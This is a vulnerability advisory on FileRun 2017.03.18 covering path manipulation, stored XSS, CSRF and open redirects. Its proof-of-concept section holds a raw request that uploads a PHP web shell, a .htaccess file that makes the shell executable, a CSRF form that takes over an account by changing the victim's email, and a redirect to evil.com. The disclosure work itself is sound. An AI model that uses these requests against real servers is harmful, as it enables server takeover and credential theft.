Multiple Vulnerabilities In Afian AB FileRun

Vendor Description

“FileRun File Manager: access your files anywhere through self-hosted secure cloud storage, file backup and sharing for your photos, videos, files and more. Upload and download large files for easy sharing. Google Drive self-hosted alternative.”

Source: https://www.filerun.com

Business Recommendation

By exploiting the vulnerabilities documented in this advisory, an attacker can compromise the web server which has FileRun installed. User files might get exposed through this attack.

SEC Consult recommends not to use FileRun until a thorough security review has been performed by security professionals and all identified issues have been resolved.

Vulnerability Overview / Description

1) Path Manipulation

When uploading, downloading or viewing files, FileRun uses a parameter to specify the path on the file-system. An attacker can manipulate the value of this parameter to read, create and even overwrite files in certain folders. An attacker could upload malicious files to compromise the webserver. In combination with the open redirect and CSRF vulnerability even an unauthenticated attacker can upload these files to get a shell. Through the shell all user files can be accessed.

2) Stored Cross Site Scripting (XSS) via File Upload

The application allows users to upload different file types. It is also possible to upload HTML files or to create them via the application’s text editor. Files can be shared using a link or within the FileRun application (in the enterprise version). An attacker can inject JavaScript in HTML files to attack other users or simply create a phishing site to steal user credentials.

Remark:
In the standard configuration of the FileRun docker image the HttpOnly cookie flag is not set, which means that authentication cookies can be accessed in an XSS attack. This allows easy session hijacking as well.

3) Cross Site Request Forgery (CSRF)

The application does not implement CSRF protection. An attacker can exploit this vulnerability to execute arbitrary requests with the privileges of the victim. The only requirement is that a victim visits a malicious webpage. Such a page could be hosted on the FileRun server itself and shared with other users as described in vulnerability 2.
Besides others, the following actions can be performed via CSRF if the
victim has administrative privileges:

• Create or delete users
• Change permissions rights of users
• Change user passwords

If the victim has no administrative privileges, for example the following actions can be performed:

• Upload files
• Change the email address (for password recovery)

4) Open Redirect Vulnerabilities

An open redirect vulnerability in the login and logout pages allows an attacker to redirect users to arbitrary web sites. The redirection host could be used for phishing attacks (e.g. to steal user credentials) or for running browser exploits to infect a victim’s machine with malware. The open redirect in the login page could also be used to exploit CSRF (see above). Because the server name in the manipulated link is identical to the original site, phishing attempts may have a more trustworthy appearance.

Proof Of Concept

1) Path Manipulation

The URL below is used to read the application file “autoconfig.php”, which contains the username and cleartext password of the database.

URL: $DOMAIN
 

This post request is used to upload a PHP shell in the writable folder avatars:

POST /?module=fileman_myfiles&section=ajax&page=up HTTP/1.1
Host: $DOMAIN
[...]
Content-Type: multipart/form-data; boundary=---------------------------293712729522107
Cookie: FileRunSID=t5h7lm99r1ff0quhsajcudh7t0; language=english
DNT: 1
Connection: close

-----------------------------293712729522107
Content-Disposition: form-data; name="flowTotalSize"
150
-----------------------------293712729522107
Content-Disposition: form-data; name="flowIsFirstChunk"
1
-----------------------------293712729522107
Content-Disposition: form-data; name="flowIsLastChunk"
1
-----------------------------293712729522107
Content-Disposition: form-data; name="flowFilename"
shell.php
-----------------------------293712729522107
Content-Disposition: form-data; name="path"
/var/www/html/system/data/avatars/
-----------------------------293712729522107
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
*web shell payload here*
-----------------------------293712729522107--

To execute the uploaded shell a .htaccess file with the contents below can be uploaded in the same folder.

Content of .htaccess file:
<Files "*">
Order allow,deny
Allow from all
</Files>

The uploaded shell can be accessed by the following URL:
$DOMAIN

 

2) Stored Cross Site Scripting (XSS) via File Upload

An HTML file with JavaScript code can be easily uploaded to attack other users. No PoC necessary.

3) Cross Site Request Forgery

An example for a CSRF attack would be the following request which changes the email address of the victim:

<html>
<body>
<form action="http://$DOMAIN/?module=fileman&section=profile&action=save" method="POST">
<input type="hidden" name="receive&#95;notifications" value="0" />
<input type="hidden" name="two&#95;step&#95;enabled" value="0" />
<input type="hidden" name="name" value="User" />
<input type="hidden" name="name2" value="A" />
<input type="hidden" name="email" value="newemail&#64;example&#46;com" />
<input type="hidden" name="ext&#45;comp&#45;1009" value="on" />
<input type="hidden" name="current&#95;password" value="" />
<input type="hidden" name="new&#95;password" value="" />
<input type="hidden" name="confirm&#95;new&#95;password" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

The new email address can be used by the attacker to reset the password of the victim.

4) Open Redirect Vulnerabilites

The URL below can be used to forward a user to an arbitrary website after the login:
$DOMAIN=

The value of the redirect parameter needs to be base64 encoded.

To redirect a user after logout, following URL can be used:
$DOMAIN=http://evil.com

In this case for a successful exploit, the victim has to be logged in.

Vulnerable / Tested Versions

The regular version of FileRun 2017.03.18 has been tested. It is assumed earlier versions of FileRun are also vulnerable to the issues.